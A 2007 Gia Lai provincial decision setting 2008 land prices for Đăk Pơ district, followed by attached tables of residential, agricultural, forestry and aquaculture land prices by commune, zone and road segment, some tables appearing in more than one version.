	 ỦY BAN NHÂN DÂN 
TỈNH GIA LAI 
*****
	CỘNG HÒA XÃ HỘI CHỦ NGHĨA VIỆT NAM
 Độc lập - Tự do – Hạnh phúc
*******

	Số: 128/2007/QĐ-UBND
	Pleiku, ngày 31 tháng 12 năm 2007


QUYẾT ĐỊNH 
VỀ VIỆC BAN HÀNH BẢNG GIÁ CÁC LOẠI ĐẤT TRÊN ĐỊA BÀN HUYỆN ĐĂK PƠ, TỈNH GIA LAI NĂM 2008
ỦY BAN NHÂN DÂN TỈNH 
Căn cứ Luật Tổ chức Hội đồng Nhân dân và Uỷ ban nhân dân năm 2003;
Căn cứ Luật Đất đai năm 2003 và các văn bản hướng dẫn thi hành;
Căn cứ Nghị quyết số 34/2007/NQ-HĐND, ngày 12/12/2007 của Hội đồng nhân dân tỉnh khoá IX tại kỳ họp thứ mười ba về phê chuẩn giá đất của các huyện, thị xã, thành phố trên địa bàn tỉnh Gia Lai năm 2008,
QUYẾT ĐỊNH:
Điều 1. Ban hành kèm theo Quyết định này bảng giá các loại đất và phương pháp xác định giá các loại đất trên địa bàn huyện Đăk Pơ năm 2008 (có bảng phụ lục kèm theo) sử dụng làm căn cứ để:

1/ Tính thuế đối với việc sử dụng đất và chuyển quyền sử dụng đất theo qui định của pháp luật; 

2/ Tính tiền sử dụng đất và tiền thuê đất khi giao đất, cho thuê đất không thông qua đấu giá quyền sử dụng đất hoặc đấu thầu dự án có sử dụng đất cho các trường hợp quy định tại điều 34 và điều 35 của Luật Đất đai năm 2003;

3/ Tính giá trị quyền sử dụng đất khi giao đất không thu tiền sử dụng đất cho các tổ chức cá nhân trong các trường hợp quy định tại điều 33 của Luật Đất đai 2003;

4/ Xác định giá trị quyền sử dụng đất để tính vào giá trị tài sản của doanh nghiệp Nhà nước khi mà doanh nghiệp cổ phần hóa lựa chọn hình thức giao đất có thu tiền sử dụng đất như quy định tại khoản 3 Điều 59 của Luật Đất đai năm 2003;

5/ Tính giá trị quyền sử dụng đất để thu lệ phí trước bạ từ chuyển quyền sử dụng đất theo quy định của pháp luật;

6/ Tính giá trị quyền sử dụng đất để bồi thường khi Nhà nước thu hồi đất sử dụng vào mục đích quốc phòng, an ninh, lợi ích quốc gia, lợi ích công cộng và Phát triển kinh tế quy định tại điều 39, điều 40 của Luật Đất đai 2003;

7/ Tính tiền bồi thường đối với người có hành vi vi phạm pháp luật về đất đai mà gây thiệt hại cho Nhà nước theo quy định của pháp luật;

Điều 2. Khi giá đất có biến động tăng do đầu tư cơ sở hạ tầng mới hoặc có biến động về giá đất thị trường thì Uỷ ban nhân dân huyện Đăk Pơ có trách nhiệm xây dựng phương án giá đất, đề xuất với Sở Tài chỉnh để Sở Tài chính phối hợp cùng các ngành liên quan thẩm định trình Uỷ ban nhân dân tỉnh điều chỉnh, bổ sung cho phù hợp với tình hình phát triển chung của đô thị.

Điều 3. Các Ông Chánh Văn phòng Uỷ ban nhân dân tỉnh, Thủ trưởng các Sở, Ngành, Chủ tịch Uỷ ban nhân dân huyện Đăk Pơ và các đơn vị, cá nhân có liên quan chịu trách nhiệm thi hành Quyết định này.

Quyết định này có hiệu lực thi hành kể từ ngày 01/01/2008./. 
	
	TM. ỦY BAN NHÂN DÂN TỈNH
KT. CHỦ TỊCH
PHÓ CHỦ TỊCH




Lê Việt Hường


	FILE ĐƯỢC ĐÍNH KÈM THEO VĂN BẢN
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giadatBang1

		Bảng 2: Bảng giá đất ở tại nông thôn (các khu vực khác của các xã)

										ÐVT: 1.000d/m2

				Khu vực		Vị trí 1		Vị trí 2		Vị trí 3

				Khu vực 1		50,000		45,000		40,000

				Khu vực 2		35,000		30,000		25,000

				Khu vực 3		25,000		20,000		15,000

		1) Chia theo khu vực:

		- Khu vực 1: các xã: Tân An, Cư An, Đak Pơ

		-  Khu vực 2: các xã: Phú An, An Thành, Hà Tam

		-  Khu vực 3: các xã: Ya Hội, Yang Bắc

		2) Chia theo vị trí:

		- Vị trí 1: Vị trí đất có tiếp giáp với đường bê tông xi măng, đường nhựa các loại

		- Vị trí 2: Vị trí đất có tiếp giáp với đường có chỉ giới xây dựng 6m trở lên

		- Vị trí 3: Vị trí đất còn lại

		Bảng 3: Bảng giá đất sản xuất kinh doanh phi nông nghiệp tại đô thị

		Giá đất SXKD phi nông nghiệp tại đô thị được tính bằng 80% giá đất ở tương ứng

		I. BẢNG GIÁ CÁC LOẠI  ĐẤT NĂM 2008 TRÊN ĐỊA BÀN HUYỆN ĐAK PƠ, TỈNH GIA LAI

		(Kèm theo Quyết định số        /2007/QĐ-UBND ngày         /12/2007 của UBND tỉnh Gia Lai)

		Bảng 1. Giá đất ở tại trung tâm hành chính huyện ( địa giới hành chính xã Đak Pơ )

												ĐVT:1.000đ/m2

		Loại đường		Vị trí 1: Mặt tiền đường chính		Vị trí 2: Ngõ hẻm loại 1 có kích thước ≥ 6m				Vị trí 3: Ngõ hẻm loại 2 có kích thước dưới 6m

						Từ chỉ giới XD của vị trí 1 đến mét thứ 100		Từ mét >100 đến cuối hẻm hoặc nằm ở hẻm phụ của hẻm loại 1		Từ chỉ giới XD của vị trí 1 đến mét thứ 100		Từ mét >100 đến cuối hẻm hoặc nằm ở hẻm phụ của hẻm loại 2

		3A		900		270		180		230		135

		3B		800		240		170		200		150

		3C		700		210		160		180		140

		3D		500		170		150		160		130

		4A		400		160		140		150		120

		4B		300		150		130		140		110

		4C		250		140		120		130		100

		4D		200		130		110		100		90

		5A		170		120		100		90		80

		5B		140		110		90		80		70

		5C		100		90		80		70		60

		5D		80		75		70		60		50
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giadatbang2,3,4,5,6,7,8,9

		Bảng 2: Bảng giá đất ở tại nông thôn (các khu vực khác của các xã)

										ÐVT: 1.000d/m2

				Khu vực		Vị trí 1		Vị trí 2		Vị trí 3

				Khu vực 1		50,000		45,000		40,000

				Khu vực 2		35,000		30,000		25,000

				Khu vực 3		25,000		20,000		15,000

		1) Chia theo khu vực:

		- Khu vực 1: các xã: Tân An, Cư An, Đak Pơ

		-  Khu vực 2: các xã: Phú An, An Thành, Hà Tam

		-  Khu vực 3: các xã: Ya Hội, Yang Bắc

		2) Chia theo vị trí:

		- Vị trí 1: Vị trí đất có tiếp giáp với đường bê tông xi măng, đường nhựa các loại

		- Vị trí 2: Vị trí đất có tiếp giáp với đường có chỉ giới xây dựng 6m trở lên

		- Vị trí 3: Vị trí đất còn lại

		Bảng 3: Bảng giá đất sản xuất kinh doanh phi nông nghiệp tại đô thị

		Giá đất SXKD phi nông nghiệp tại đô thị được tính bằng 80% giá đất ở tương ứng

		Bảng 2: Bảng giá đất ở tại nông thôn ngoài khu vực trung tâm huyện

																												ĐVT:1.000đ/m2

		Khu vực		Vị trí 1		Vị trí 2		Vị trí 3		Vị trí 4		Vị trí 5		Vị trí 6		Vị trí 7		Vị trí 8		Vị trí 9		Vị trí 10		Vị trí 11		Vị trí 12		Vị trí 13		Vị trí 14

		Khu vực 1		900		800		700		600		500		400		300		250		200		150		100		80		60		50

		Khu vực 2		300		170		140		120		100		80		70		60		45		35

		Khu vực 3		60		50		40		30		20

		Chia theo khu vực:

		- Khu vực 1: các xã Tân An, Cư An, Đak Pơ

		-  Khu vực 2: các xã Phú An, An Thành, Hà Tam

		-  Khu vực 3 các xã: Ya Hội, Yang Bắc

		2) Chia theo vị trí:

		- Vị trí 1: Vị trí đất có tiếp giáp với đường bê tông xi măng, đường nhựa các loại

		- Vị trí 2: Vị trí đất có tiếp giáp với đường có chỉ giới xây dựng 6m trở lên

		- Vị trí 3: Vị trí đất còn lại

		Bảng 3: Bảng giá đất sản xuất kinh doanh phi nông nghiệp tại khu trung tâm

		Giá đất sản xuất kinh doanh phi nông nghiệp tại khu trung tâm được tính bằng 80% giá đất ở tương ứng

		Bảng 4: Bảng giá đất trồng cây hàng năm

										ĐVT: đ/m2

		Khu vực		Vị trí 1		Vị trí 2		Vị trí 3		Vị trí 4

		Khu vực 1		7,000		5,000		3,500		2,400

		Khu vực 2		5,000		3,600		2,500		2,000

		Khu vực 3		3,700		2,600		2,100		1,700

		- Ruộng 1 vụ được tính bằng 1,2 lần giá đất trồng cây hàng năm của khu vực và vị trí tương ứng

		- Ruộng 2 vụ được tính bằng 2 lần giá đất trồng cây hàng năm của khu vực và vị trí tương ứng

		Bảng 5: Bảng giá đất trồng cây lâu năm

										ĐVT: đ/m2

		Khu vực		Vị trí 1		Vị trí 2		Vị trí 3		Vị trí 4

		Khu vực 1		6,300		4,400		3,500		2,500

		Khu vực 2		4,400		3,500		2,600		1,800

		Khu vực 3		3,100		2,400		1,800		1,300

		Bảng 6: Bảng giá đất rừng sản xuất

										ĐVT: đ/m2

		Khu vực		Vị trí 1		Vị trí 2		Vị trí 3		Vị trí 4

		Khu vực 1		5,000		3,500		2,500		1,800

		Khu vực 2		4,000		2,800		1,900		1,400

		Khu vực 3		3,000		2,100		1,500		1,000

		Bảng 7: Bảng giá đất nuôi trồng thủy sản

										ĐVT: đ/m2

		Khu vực		Vị trí 1		Vị trí 2		Vị trí 3		Vị trí 4

		Khu vực 1		7,000		5,000		3,500		2,400

		Khu vực 2		5,000		3,600		2,500		2,000

		Khu vực 3		3,700		2,600		2,100		1,700

		Bảng 8: Bảng giá đất vườn ao liền kề đất ở, đất nông nghiệp xen kẽ khu dân cư

		- Đất vườn ao liền kề đất ở, đất nông nghiệp xen kẽ khu dân cư có giá bằng 1,5 lần giá đất trồng cây lâu năm tại vị trí 1, khu vực tương ứng

		Bảng 9: Bảng giá đất sản xuất kinh doanh phi nông nghiệp tại nông thôn

		Giá đất SXKD phi nông nghiệp tại nông thôn được tính bằng 80% giá đất ở tương ứng

		Ghi chú:

		Khu vực và vị trí của các Bảng: giá đất trồng cây hàng năm (Bảng số 4), giá trồng cây lâu năm (Bảng số 5), giá đất trồng rừng sản xuất (Bảng số 6) và giá

		đất nuôi trồng thủy sản (Bảng số 7) được áp dụng như sau:

		- Khu vực 1: Tân An, Cư An, Đak Pơ

		- Khu vực 2: Phú An, An Thành, Hà Tam

		- Khu vực 3: Ya Hội, Yang Bắc

		- Vị trí 1: Đất tiếp giáp quốc lộ 19 tính từ tim đường về mỗi bên 100 mét

		- Vị trí 2:  - Đất tiếp giáp tỉnh lộ 662, 674, đường đi Ya Hội, đường đi xã Nam (K'Bang), đường đi Yang Bắc. (tính từ tim đường trở ra mỗi bên 100 mét)

		- Đất tiếp giáp vị trí 1 >100 mét đến mét thứ 200 tính từ tim đường quốc lộ 19 trở ra mỗi bên

		- Vị trí 3:  - Đất tiếp giáp với các đường khác có xe ô tô vào được tính từ tim đường về mỗi bên 100 mét.

		- Đất tiếp giáp vị trí 2:

		+ Từ mét >200 đến mét thứ 300 tính từ tim đường quốc lộ 19 trở ra mỗi bên.

		+ Từ mét>100 đến mét thứ 200 tính từ tim đường tỉnh lộ 662, 674, đường đi Ya Hội, đường đi xã Nam (K'Bang), đường đi Yang Bắc trở ra

		mỗi bên

		- Vị trí 4: Tất cả các diện tích còn lại.
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phan loai duong BangII.1

		B/ BẢNG PHÂN LOẠI ĐƯỜNG VÀ GIÁ ĐẤT Ở

		(Kèm theo Quyết định số  128 /2007/QĐ-UBND ngày 31 /12/2007 của UBND tỉnh Gia Lai)

		Bảng 1: Bảng phân loại đường và giá đất ở khu trung tâm huyện

										ĐVT:1.000đ/m2

		STT		Tên đường		Đoạn đường				Vị trí		Loại 
đường		Giá đất

						Từ nơi		Đến nơi

		1		Quốc lộ 19		Tiếp		Giáp ranh giới xã Đak Pơ				1		300

						RG xã Đak Pơ		Cầu 23		1		4B		300

						Tiếp		Đường QH số 3		1		3A		900

						Tiếp		Km 93		1		4A		400

						Tiếp		Km95 (Suối Đak Pơ)		1		4C		250

		2		Đường QH số 1 khu trung tâm huyện		Đường QH số 19		Đường QH số 18		1		4D		200

						Tiếp		Quốc lộ 19		1		3C		700

						Tiếp		Đường số 4		1		3D		500

						Tiếp		Hết đường		1		4C		250

		3		Đường QH số 2 khu trung tâm huyện		Trung tâm hành chính huyện		Đường QH số 18		1		3C		700

		4		Đường QH số 3 khu trung tâm huyện		Bệnh viện		Quốc lộ 19		1		4A		400

						Tiếp		Hết đường		1		3D		500

		5		Đường QH số 4		Đường số 1		Đường số 3		1		3C		700

		6		Đường QH số 10 khu trung tâm huyện		Đường QH số 1		Đường QH số 11		1		4D		200

						Tiếp		Đường QH số 12		1		5B		140

		7		Đường QH số 11 khu trung tâm huyện		Đường QH số 06		Đường tránh		1		5B		140

		8		Đường QH số 12 khu trung tâm huyện		Đường QH số 6		Hết đường		1		5B		140

		9		Đường QH số 13 khu trung tâm huyện		Đường QH số 1		Đường QH số 2		1		4C		250

		10		Đường QH số 15 khu trung tâm huyện		Quốc lộ 19		Đường QH số 17		1		4A		400

						Tiếp		Đường QH số 18		1		4D		200

						Tiếp		Đường QH số 19		1		5C		100

		11		Đường QH số 16 khu trung tâm huyện		Quốc lộ 19		Đường QH số 17		1		3D		500

						Tiếp		Đường QH số 18		1		4B		300

		12		Đường QH số 17		Bệnh viện		Đường QH số 2		1		4B		300

						Đường QH số 2		Đường QH số 1		1		3C		700

						Tiếp		Đường QH số 16		1		3D		500

						Tiếp		Hết đường		1		4A		400

		13		Đường QH số 17B khu trung tâm TM huyện		Đường số 1		Đường số 2		1		4D		200

		14		Đường QH số 18 khu trung tâm TM huyện		Đường QH số 2		Đường QH số 1		1		4A		400

						Tiếp		Đường QH số 16		1		4B		300

						Tiếp		Hết đường		1		5B		140

		15		Đường QH số 19 khu trung tâm TM huyện		Đường QH số 2		Đường QH số 15		1		5C		100

		16		Các đường phía nam trường Trần Q.Tuấn		Đường qui hoạch số 5, 6,7, 8, 9				1		4A		400

		17		Đường vào đội 16		Đường tránh		Suối Đồng Nai		1		5B		140

						Các đường nhánh của đoạn trên				1		5C		100

		18		Đường vào khu TĐC thôn 3, xã Đak Pơ		Quốc lộ 19		Hết đường nhựa		1		5B		140

						Tiếp		RG xã An Thành		1		5C		100

		19		Đường thứ 1 vào khu dân cư phía bắc QL 19, đoạn từ cầu 23-cầu 24		Quốc lộ 19		Mét thứ 100 tính từ chỉ giới XD của QL19		1		4C		200

						Tiếp		Ngã ba thứ hai		1		5B		140

		20		Đường thứ 2 vào khu dân cư phía bắc QL 19, đoạn từ cầu 23-cầu 24		Quốc lộ 19		Mét thứ 100 tính từ chỉ giới XD của QL19		1		4D		200

						Tiếp		Ngã ba thứ hai		1		5A		170

		21		Đường thứ 3 vào khu dân cư phía bắc QL 19, đoạn từ cầu 23-cầu 24		Quốc lộ 19		Mét thứ 100 tính từ chỉ giới XD của QL19		1		4D		200

						Tiếp		Giáp đường thứ 2		1		5A		170

		22		Đường vào làng Len tô		Quốc lộ 19		Mét thứ 100 tính từ chỉ giới XD của QL19		1		4D		200

						Tiếp		Cống		1		5B		140

		23		Đường vào làng H'Ven		Quốc lộ 19		Mét thứ 100 tính từ chỉ giới XD của QL19		1		4D		200

						Tiếp		Suối		1		5B		140

		24		Đường vào khu dân cư phía nam QL 19, đông cầu 23		Quốc lộ 19		Đất quốc phòng		1		5D		80

		25		Đường thứ 1 vào khu dân cư phía nam QL 19, đoạn từ cầu 23-cầu 24		Quốc lộ 19		Mét thứ 100 tính từ chỉ giới XD của QL19		1		4D		200

						Tiếp		Suối		1		5B		140

		26		Đường thứ 2 vào khu dân cư phía nam QL 19, đoạn từ cầu 23-cầu 24		Quốc lộ 19		Mét thứ 100 tính từ chỉ giới XD của QL19		1		4D		200

						Tiếp		Suối		1		5A		170

		27		Đường thứ 3 vào khu dân cư phía nam QL 19, đoạn từ cầu 23-cầu 24		Quốc lộ 19		Mét thứ 100 tính từ chỉ giới XD của QL19		1		4D		200

						Tiếp		Hết đường		1		5A		170

		28		Các vị trí còn lại trên địa bàn xã Đak Pơ										50

		Bảng 10: Bảng giá đất ở tại nông thôn ngoài khu vực trung tâm huyện

		STT		Tên xã		Đoạn đường								Năm 2008		Tỷ lệ		Ghi chú

						Từ nơi		Đến nơi		Vị trí		Giá đất		Khu vực

		I. Xã Đak Pơ

		Các vị trí còn lại trên địa bàn xã Đak Pơ (không có giá cụ thể tại Bảng số 9)										50

		II. Xã Cư An, Tân An

		1		Quốc lộ 19		Ranh giới thị xã An Khê		Km83				500		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Đường vào khu dân cư cạnh phía đông nhà thờ An Sơn				540		1		0%		Phân đoạn lại và điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Đường QH số 5 chợ Tân An				540		1		0%		Phân đoạn lại và điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Ngã 3 đường QH số 2 chợ Tân An				540		1		0%		Phân đoạn lại và điều chỉnh giá phù hợp với thực tế (di chuyển chợ)

						Tiếp		Ngã 3 đường QH số 1 chợ Tân An				540		1		0%		Phân đoạn lại và điều chỉnh giá phù hợp với thực tế (di chuyển chợ)

						Tiếp		Đường vào Tân Lương				540		1		0%		Phân đoạn lại và điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Ngã 3 Tịnh xá Ngọc Túc				360		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Cống cuối dốc phía tây CH xăng dầu Cty PTMN				270		1		0%		Phân đoạn lại và điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Km 88				300		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Đường vào XN gạch Tuynen				120		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Giáp ranh giới xã Đak Pơ				180		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		2		Đường Lê Thị Hồng Gấm(Cư An)		Quốc lộ 19		Đường Đội 2 qui hoạch(Cư An)				500		1		0%

						Tiếp		Trường Nguyễn Trãi				400		1		0%

		3		Đoạn đường đất phía tây UBND xã Cư An		Quốc lộ 19		Ngã ba thứ nhất				100		1		0%

						Tiếp		Hết đường				60		1		0%

		4		Đường đội 2 Hiệp An (Cư An)		Ngã ba thứ nhất		Đường Lê Thị Hồng Gấm				70		1		0%

		5		Đường vào trường Lê Quý Đôn (Cư An)		Quốc lộ 19		Ngã 3 thứ hai				60		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		6		Đường đội 5 Hiệp An (Cư An)		Quốc lộ 19		Ngã ba thứ nhất				70		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		7		Đường đội 4 Hiệp An (Cư An)		Quốc lộ 19		Ngã ba thứ nhất				70		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		8		Đường đất vào tịnh xá Ngọc Túc (Cư An)		Quốc lộ 19		Ngã ba thứ nhất				60		1		0%

		9		Đường đội 3 (An Thuận, Cư An) (dưới dốc kho vật tư)		Quốc lộ 19		Nghĩa địa				60		1		0%

		10		Đường đội 4 An Định (Cư An)		Quốc lộ 19		Ngã ba thứ nhất				70		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		11		Đoạn đường Ri (Tân An)		Quốc lộ 19		Ngã tư tiếp giáp đường thứ nhất phía đông nhà thờ An Sơn				110		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Cầu trắng				60		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Ngã 3 tiếp giáp với đường đi Tân Lương						1				Phân đoạn lại và điều chỉnh sát với giá chuyển nhượng trên thị trường

		12		Đường vào đội 6 Tân Bình (Tân An)		Quốc lộ 19		Đường thứ nhất phía đông nhà thờ An Sơn				60		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		13		Đường thứ hai phía đông nhà thờ An Sơn (Tân An)		Quốc lộ 19		Đường thứ nhất phía đông nhà thờ An Sơn				60		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		14		Đường thứ nhất phía đông nhà thờ An Sơn (Tân An)		Quốc lộ 19		Ngã tư đường Ri				60		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		15		Đường đi Tân Lương (Tân An)		Quốc lộ 19		Ngã 3 đường QH số 5 chợ Tân An				200		1		0%		Phân đoạn lại và điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Đường vào nhà thờ Đồng Sơn				150		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Ngã 3 đi trạm bơm Tân Hội				100		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		hết đường BTXM				100		1		0%

		16		Đường vào trường Mạc Đĩnh Chi (Tân An)		Quốc lộ 19		Hết đường				70		1		0%		Nâng cấp đường nên điều chỉnh giá cho phù hợp

		17		Đường QH số 1 -Khu QH trung tâm chợ Chí Công (xã Tân An)		Quốc lộ 19		Đường QH số 4 -Khu QH trung tâm chợ Chí Công (xã Tân An)				400		1		0%		Xây dựng chợ mới

						Tiếp		Đường QH số 5-Khu QH trung tâm chợ Chí Công (xã Tân An)						1				Mới mở đường

		18		Đường QH số 2 -Khu QH trung tâm chợ Chí Công (xã Tân An)		Quốc lộ 19		Đường QH số 4 -Khu QH trung tâm chợ Chí Công (xã Tân An)				400		1		0%		Xây dựng chợ mới

						Tiếp		Đường QH số 5-Khu QH trung tâm chợ Chí Công (xã Tân An)				150		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		19		Đường QH số 3 -Khu QH trung tâm chợ Chí Công (xã Tân An)		Đường QH số 1 -Khu QH trung tâm chợ Chí Công (xã Tân An)		Đường QH số 2 -Khu QH trung tâm chợ Chí Công (xã Tân An)				360		1		0%		Xây dựng chợ mới

						Tiếp		Đường  QH số 3A -Khu QH trung tâm chợ Chí Công (xã Tân An)				150		1		0%		Xây dựng chợ mới

						Tiếp		Đường QH số 5-Khu QH trung tâm chợ Chí Công (xã Tân An)				120		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		20		Đường QH số 4 -Khu QH trung tâm chợ Chí Công (xã Tân An)		Đường QH số 1 -Khu QH trung tâm chợ Chí Công (xã Tân An)		Đường QH số 2 -Khu QH trung tâm chợ Chí Công (xã Tân An)				250		1		0%		Xây dựng chợ mới

		21		Đường QH số 5-Khu QH trung tâm chợ Chí Công (xã Tân An)		Quốc lộ 19		Hẻm phía nam đường QH số 3				100		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Giáp đường đi Tân Lương				100		1		0%

		22		Đường đi Yang Bắc (ngã 3 Đồng chè đi vào)		Quốc lộ 19		Cống thứ 3				140		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Ranh giới xã Yang Bắc				70		1		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		23		Các tuyến đường còn lại trên địa bàn xã Cư An, Tân An										1

		IV. Xã Phú An

		1		Đường 674 (Phú An)		RG thị xã An Khê		Suối Màu				150		2		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Cầu Tờ Đo				70		2		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Km số 7				100		2		0%		Phân đoạn lại và điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Hết ranh giới huyện				50		2		0%		Phân đoạn lại và điều chỉnh sát với giá chuyển nhượng trên thị trường

		2		Đường đi Ya Hội		RG thị xã An Khê		Cống phía bắc ngã ba đi thôn An Hòa				50		2		0%		Phân đoạn lại và điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		RG xã Ya Hội						2				Phân đoạn lại và điều chỉnh sát với giá chuyển nhượng trên thị trường

		3		Các đường trong điểm công nghiệp Phú An										2				Quy hoạch mới

		4		Đường vào thôn An Lợi (Phú An)		RG thị xã An Khê		Ngã ba thứ nhất				50		2		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		5		Đường dọc theo Suối Cái (Phú An)		Tỉnh lộ 674		Đường liên thôn An Phong				50		2		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		6		Đường vào thôn An Hòa (Phú An)		Tỉnh lộ 674		Đường liên thôn An Phong				60		2		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		7		Đường dọc mương thủy lợi Phú An		Tỉnh lộ 674		Ngã 3 thứ ba				80		2		0%

						Tiếp		Đường liên thôn An Phong				50		2		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		8		Các tuyến đường còn lại trên địa bàn xã Phú An										2

		V. Xã An Thành

		1		Quốc lộ 19		Km95 (Suối Đak Pơ)		Km96 (Đỉnh dốc 15%)				250		2		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Cổng trường Kim Đồng				70		2		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Cầu 25				100		2		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Ranh giới xã Hà Tam				70		2		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		2		Đường vào xã Nam		Quốc lộ 19		Cống chân dốc đá				60		2		0%

						Tiếp		Hết đường				45		2		0%

		3		Các tuyến đường còn lại trên địa bàn xã An Thành										2

		VI. Xã Hà Tam

		1		Quốc lộ 19		Ranh giới xã An Thành		Km 103				70		2		0%

						Tiếp		Cầu 27				60		2		0%

						Tiếp		Km 106				120		2		0%		Phân đoạn lại

						Tiếp		Cổng Trung đoàn 7				120		2		0%

						Tiếp		Km 108				100		2		0%

						Tiếp		RG. Huyện Mang Yang				60		2		0%

		2		Đường 662		Quốc lộ 19		Trạm Kiểm lâm				45		2		0%

		3		Đường vào trường cấp II Hà Tam		Quốc lộ 19		Cống (Cổng trường)				45		2		0%

		4		Đường sau trường cấp I Hà Tam		Đường vào trường cấp II		Đường vào làng H'way				40		2		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		5		Đường phía tây trường cấp I Hà Tam		Quốc lộ 19		Đường sau trường cấp I				40		2		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

		6		Đường vào làng H'way (Hà Tam)		Quốc lộ 19		Cống				45		2		0%

		7		Đường vào thôn 2 (Hà Tam)		Quốc lộ 19		Cống				45		2		0%

		8		Đường hẻm dọc phía tây hồ Trung đoàn 7 (Hà Tam)		Quốc lộ 19		Đất Trung đoàn 7				45		2		0%

		9		Đường hẻm dọc phía đông hồ Trung đoàn 7 (Hà Tam)		Quốc lộ 19		Đất Trung đoàn 7				45		2		0%

		10		Các tuyến đường còn lại trên địa bàn xã Hà Tam										2

		VII. Xã Yang Bắc

		1		Đường đi Yang Bắc (ngã 3 Đồng chè đi vào)		Ranh giới xã Yang Bắc		Hồ thôn Trang				50		3		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Bờ tràn				35		3		0%		Điều chỉnh sát với giá chuyển nhượng trên thị trường

						Tiếp		Cống thứ nhất qua khỏi UBND xã Yang Bắc				50		3		0%

		2		Đường 662		Ngã ba làng Krông Hra		Hết ranh giới huyện						2				Bổ sung giá mới

		3		Các tuyến đường còn lại trên địa bàn xã Yang Bắc										3

		VIII. Xã Ya Hội

		1		Đường đi Ya Hội (Cả đường cũ và đường mới đi làng Groi II)		Ngã 3 đường BTXM (đường cũ - đường đi làng Groi II)		Trung tâm xã Ya Hội						3				Điều chỉnh sát với giá chuyển nhượng trên thị trường

		2		Các tuyến đường trên địa bàn xã Ya Hội										3
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		Bảng 2: Bảng giá đất ở tại nông thôn ngoài khu vực trung tâm huyện

										ĐVT:1.000đồng/m2

		STT		Tên xã		Đoạn đường				Khu vực		Vị trí		Giá đất

						Từ nơi		Đến nơi

		I. Xã Cư An, Tân An

		1		Quốc lộ 19		Ranh giới thị xã An Khê		Km83		1		4		600

						Tiếp		Đường vào khu dân cư cạnh phía đông nhà thờ An Sơn		1		3		700

						Tiếp		Đường QH số 5 chợ Tân An		1		4		600

						Tiếp		Ngã 3 đường QH số 2 chợ Tân An		1		2		800

						Tiếp		Ngã 3 đường QH số 1 chợ Tân An		1		1		900

						Tiếp		Đường vào Tân Lương		1		2		800

						Tiếp		Ngã 3 Tịnh xá Ngọc Túc		1		4		600

						Tiếp		Cống cuối dốc phía tây CH xăng dầu Cty PTMN		1		7		300

				Quốc lộ 19		Tiếp		Km 88		1		6		400

						Tiếp		Đường vào XN gạch Tuynen		1		9		200

						Tiếp		Giáp ranh giới xã Đak Pơ		1		7		300

		2		Đường Lê Thị Hồng Gấm(Cư An)		Quốc lộ 19		Đường Đội 2 qui hoạch(Cư An)		1		5		500

						Tiếp		Trường Nguyễn Trãi		1		6		400

		3		Đoạn đường đất phía tây UBND xã Cư An		Quốc lộ 19		Ngã ba thứ nhất		1		11		100

						Tiếp		Hết đường		1		13		60

		4		Đường đội 2 Hiệp An (Cư An)		Ngã ba thứ nhất		Đường Lê Thị Hồng Gấm		1		12		80

		5		Đường vào trường Lê Quý Đôn (Cư An)		Quốc lộ 19		Ngã 3 thứ hai		1		11		100

		6		Đường đội 5 Hiệp An (Cư An)		Quốc lộ 19		Ngã ba thứ nhất		1		11		100

		7		Đường đội 4 Hiệp An (Cư An)		Quốc lộ 19		Ngã ba thứ nhất		1		11		100

		8		Đường đất vào tịnh xá Ngọc Túc (Cư An)		Quốc lộ 19		Ngã ba thứ nhất		1		13		60

		9		Đường đội 3 (An Thuận, Cư An) (dưới dốc kho vật tư)		Quốc lộ 19		Nghĩa địa		1		13		60

		10		Đường đội 4 An Định (Cư An)		Quốc lộ 19		Ngã ba thứ nhất		1		12		80

		11		Đoạn đường Ri (Tân An)		Quốc lộ 19		Ngã tư tiếp giáp đường thứ nhất phía đông nhà thờ An Sơn		1		10		150

						Tiếp		Cầu trắng		1		13		80

						Tiếp		Ngã 3 tiếp giáp với đường đi Tân Lương		1		12		80

